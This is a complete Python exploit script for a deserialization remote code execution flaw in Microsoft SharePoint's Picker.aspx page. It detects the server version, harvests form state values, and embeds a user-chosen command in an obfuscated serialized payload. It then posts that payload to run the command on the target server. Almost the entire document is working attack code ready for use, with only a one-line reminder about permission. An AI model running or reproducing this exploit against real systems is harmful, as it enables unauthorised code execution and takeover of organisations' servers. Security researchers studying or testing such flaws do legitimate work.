Microsoft SharePoint - Deserialization Remote Code Execution

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import sys
from xml.sax.saxutils import escape
from lxml import html
import codecs
import readline
from clint.arguments import Args
import signal

def serialize_command(cmd):
    total = ""
    for x in cmd:
        a = codecs.encode(x,"utf-16be")
        b = codecs.encode(a,"hex").decode('ascii')
        total += b[::-1]
    return total

def deserialize_command(cmd):
    length = len(cmd)
    s = ""
    for i in range(0,length,4):
        character = cmd[i]+cmd[i+1]+cmd[i+2]+cmd[i+3]
        character = character[::-1]
        c_hex = codecs.decode(character,"hex")
        a = codecs.decode(c_hex,"utf-16be")
        s += a
		
    return s

#######################################    
signal.signal(signal.SIGINT, signal.default_int_handler)
args = Args()

myargs = dict(args.grouped)
if '--help' in myargs or '-h' in myargs:
    help = """
        desharialize options:
        -h --help         - This menu
        -u --url          - The Sharepoint Picker.aspx URL ( e.g. http://localhost/_layouts/15/Picker.aspx )
        -c --command      - The command to run on the target Sharepoint server.
        -f --file         - The file containing the command to run (Useful for commands with multi-lines or characters that need escaping)
        """
    print (help)
    exit(0)
    
url = ''
cmd = ''
filename = ''
if '--url' in myargs or '-u' in myargs:
    try:
        url = myargs['--url'][0]
    except:
        url = myargs['-u'][0]
   
if '--command' in myargs or '-c' in myargs:
    if '--file' in myargs or '-f' in myargs:
        print("Can't use both command and file options at the same time!")
        exit(0)
    try:
        cmd = myargs['--command'][0]
    except:
        cmd = myargs['-c'][0]

if '--file' in myargs or '-f' in myargs:
    try:
        filename = myargs['--file'][0]
    except:
        filename = myargs['-f'][0]
    file = open(filename,mode='r')
    cmd = file.read()
    file.close()
    

sharepoint2019and2016 = "?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=16.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c";
sharepoint2013 = "?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=15.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c";
sharepoint2010 = "?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=14.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c";
            
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3

if PY3:
    string_types = str,
    raw_input = input
else:
    string_types = basestring,

if url == '':
    url = raw_input("Enter the SharePoint Server URL ending with Picker.aspx:")

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
}

firstcall = requests.get(url,headers=headers)
spheader = firstcall.headers.get('MicrosoftSharePointTeamServices','16')

spheader = int(spheader.split('.')[0])

payload = "__bpzzzz35009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e600460056004600750027001600070007005600270006002300b500b50035009700370047005600d600e20075009600e6004600f60077003700e200d40016002700b60057000700e20085001600d600c600250056001600460056002700c200020005002700560037005600e6004700160047009600f600e600640027001600d60056007700f6002700b600c200020065005600270037009600f600e600d3004300e2000300e2000300e2000300c200020034005700c6004700570027005600d300e60056005700470027001600c600c2000200050057002600c60096003600b400560097004500f600b6005600e600d3003300130026006600330083005300630016004600330063004300560033005300d500c200b50035009700370047005600d600e20075009600e6004600f60077003700e2004400160047001600e200f4002600a600560036004700440016004700160005002700f60067009600460056002700c200020005002700560037005600e6004700160047009600f600e600640027001600d60056007700f6002700b600c200020065005600270037009600f600e600d3004300e2000300e2000300e2000300c200020034005700c6004700570027005600d300e60056005700470027001600c600c2000200050057002600c60096003600b400560097004500f600b6005600e600d3003300130026006600330083005300630016004600330063004300560033005300d500d500c200020035009700370047005600d600e2004400160047001600e20035005600270067009600360056003700c200020065005600270037009600f600e600d3004300e2000300e2000300e2000300c200020034005700c6004700570027005600d300e60056005700470027001600c600c2000200050057002600c60096003600b400560097004500f600b6005600e600d3002600730073001600530036005300630013009300330043005600030083009300a300c300f3008700d600c600020067005600270037009600f600e600d30022001300e2000300220002005600e6003600f60046009600e6007600d3002200570047006600d200130063002200f300e300d000a000c3005400870007001600e6004600560046007500270016000700070056002700f400660085001600d600c600250056001600460056002700f4002600a600560036004700440016004700160005002700f6006700960046005600270002008700d600c600e6003700a300870037009600d30022008600470047000700a300f200f200770077007700e20077003300e200f60027007600f2002300030003001300f2008500d400c4003500360086005600d6001600d2009600e600370047001600e60036005600220002008700d600c600e6003700a300870037004600d30022008600470047000700a300f200f200770077007700e20077003300e200f60027007600f2002300030003001300f2008500d400c4003500360086005600d60016002200e300d000a00002000200c30005002700f600a6005600360047005600460005002700f600070056002700470097000300e300d000a0000200020002000200c300f4002600a6005600360047009400e600370047001600e600360056000200870037009600a3004700970007005600d300220085001600d600c60025005600160046005600270022000200f200e300d000a0000200020002000200c300d400560047008600f6004600e4001600d6005600e30005001600270037005600c300f200d400560047008600f6004600e4001600d6005600e300d000a0000200020002000200c300d400560047008600f60046000500160027001600d60056004700560027003700e300d000a000020002000200020002000200c3001600e600970045009700070056000200870037009600a3004700970007005600d3002200870037004600a3003700470027009600e60076002200e3006200c6004700b300250056003700f600570027003600560044009600360047009600f600e60016002700970002008700d600c600e6003700d30072008600470047000700a300f200f2003700360086005600d60016003700e200d600960036002700f6003700f60066004700e2003600f600d600f20077009600e60066008700f2002300030003006300f20087001600d600c600f20007002700560037005600e6004700160047009600f600e600720002008700d600c600e6003700a3008700d30072008600470047000700a300f200f2003700360086005600d60016003700e200d600960036002700f6003700f60066004700e2003600f600d600f20077009600e60066008700f2002300030003006300f20087001600d600c600720002008700d600c600e6003700a30035009700370047005600d600d30072003600c6002700d200e6001600d600560037000700160036005600a30035009700370047005600d600b3001600370037005600d6002600c6009700d300d60037003600f6002700c60096002600720002008700d600c600e6003700a3004400960016007600d30072003600c6002700d200e6001600d600560037000700160036005600a30035009700370047005600d600e2004400960016007600e600f60037004700960036003700b3001600370037005600d6002600c6009700d30037009700370047005600d6007200620076004700b3006200c6004700b300f4002600a600560036004700440016004700160005002700f6006700960046005600270002008700a300b40056009700d3007200970072000200f4002600a6005600360047004500970007005600d3007200b7008700a300450097000700560002004400960016007600a30005002700f6003600560037003700d70072000200d400560047008600f6004600e4001600d6005600d3007200350047001600270047007200620076004700b3006200c6004700b300f4002600a600560036004700440016004700160005002700f60067009600460056002700e200d400560047008600f60046000500160027001600d60056004700560027003700620076004700b3006200c6004700b30035009700370047005600d600a3003500470027009600e6007600620076004700b3003600d60046006200c6004700b300f20035009700370047005600d600a3003500470027009600e6007600620076004700b3006200c6004700b30035009700370047005600d600a3003500470027009600e6007600620076004700b300f20036000200e200e200e200140024003400e200e200e20002006200c6004700b300f20035009700370047005600d600a3003500470027009600e6007600620076004700b3006200c6004700b300f200f4002600a600560036004700440016004700160005002700f60067009600460056002700e200d400560047008600f60046000500160027001600d60056004700560027003700620076004700b3006200c6004700b300f200f4002600a600560036004700440016004700160005002700f60067009600460056002700620076004700b3006200c6004700b300f200250056003700f600570027003600560044009600360047009600f600e600160027009700620076004700b3000200c300f2001600e60097004500970007005600e300d000a0000200020002000200c300f200d400560047008600f60046000500160027001600d60056004700560027003700e300d000a00002000200c300f20005002700f600a6005600360047005600460005002700f600070056002700470097000300e300d000a000c300f2005400870007001600e6004600560046007500270016000700070056002700f400660085001600d600c600250056001600460056002700f4002600a600560036004700440016004700160005002700f60067009600460056002700e300"

assemblyvalue = sharepoint2019and2016

if spheader == 15:
    assemblyvalue = sharepoint2013
elif spheader == 14:
    assemblyvalue = sharepoint2010
else:
    assemblyvalue = sharepoint2019and2016

FullURL = url +  assemblyvalue

secondcall = requests.get(FullURL,headers=headers)
secondcalltext = secondcall.text

tree = html.fromstring(secondcall.content)
viewstate = ''
eventvalidation = ''
try:
    viewstate = tree.get_element_by_id('__VIEWSTATE')
    viewstate = viewstate.value
except:
    pass

try:
    eventvalidation = tree.get_element_by_id('__EVENTVALIDATION')
    eventvalidation = eventvalidation.value
except:
    pass


if cmd == '':
    cmd = raw_input("Write your full command here to execute on the test target system (Make sure you have permissions from system owner):")


#escapedcmd = escape(cmd,html_escape_table)
cmd = cmd.replace("&","&")
cmd = cmd.replace(">",">")
cmd = cmd.replace("<","<")
cmd = cmd.replace("\"",""")
cmd = cmd.replace("'","&apos;")
escapedcmd = escape(cmd)




print(escapedcmd)
srlcmd = serialize_command(escapedcmd)

length = 1448 + len(escapedcmd)
hex_length = format(length * 4,'x')
serialized_length = hex_length[::-1]

payload = payload.replace("e200e200e200140024003400e200e200e200",srlcmd)
payload = payload.replace("zzzz",serialized_length)

print("Deserialized Payload:")
print(deserialize_command(payload[8:]))
data = {"__VIEWSTATE":viewstate,"__EVENTVALIDATION":eventvalidation,"ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData":payload}
thirdcall = requests.post(FullURL, data=data,headers=headers)

print("Payload launched! Check execution results. Exiting...")